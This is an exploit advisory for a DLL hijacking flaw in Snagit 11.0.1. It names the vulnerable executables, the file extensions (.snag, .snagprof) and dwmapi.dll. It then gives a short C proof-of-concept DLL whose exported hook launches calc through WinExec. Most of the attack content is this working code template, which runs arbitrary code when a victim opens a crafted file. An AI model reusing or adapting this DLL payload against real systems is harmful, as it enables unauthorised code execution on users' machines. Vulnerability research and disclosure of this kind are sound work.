Snagit 11.0.1 DLL Hijack

`Exploit Title: Snagit 11.0.1 (dwmapi.dll) DLL Hijacking Exploit   
Date: 2012-08-23  
Author: coolkaveh  
[email protected]  
Greets To Mohammad Morteza Sanaie  
[email protected]  
Https://twitter.com/coolkaveh  
Vendor Homepage: http://www.techsmith.com/  
Version: 11.0.1(build93)  
Tested on: windows XP Sp3 ENG   
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# Vulnerable: Pixel Bender snagit32.exe & snagiteditor.exe  
---------------------------------------------------------  
# Vulnerable extensions: .snagprof & .snag  
---------------------------------------------------------  
# Vulnerable Dll: dwmapi.dll  
---------------------------------------------------------  
#include <windows.h>  
#define DllExport __declspec (dllexport)  
  
DllExport void hook_startup() { exp(); }  
  
int exp()  
{  
WinExec("calc", 0);  
exit(0);  
return 0;  
}  
  
`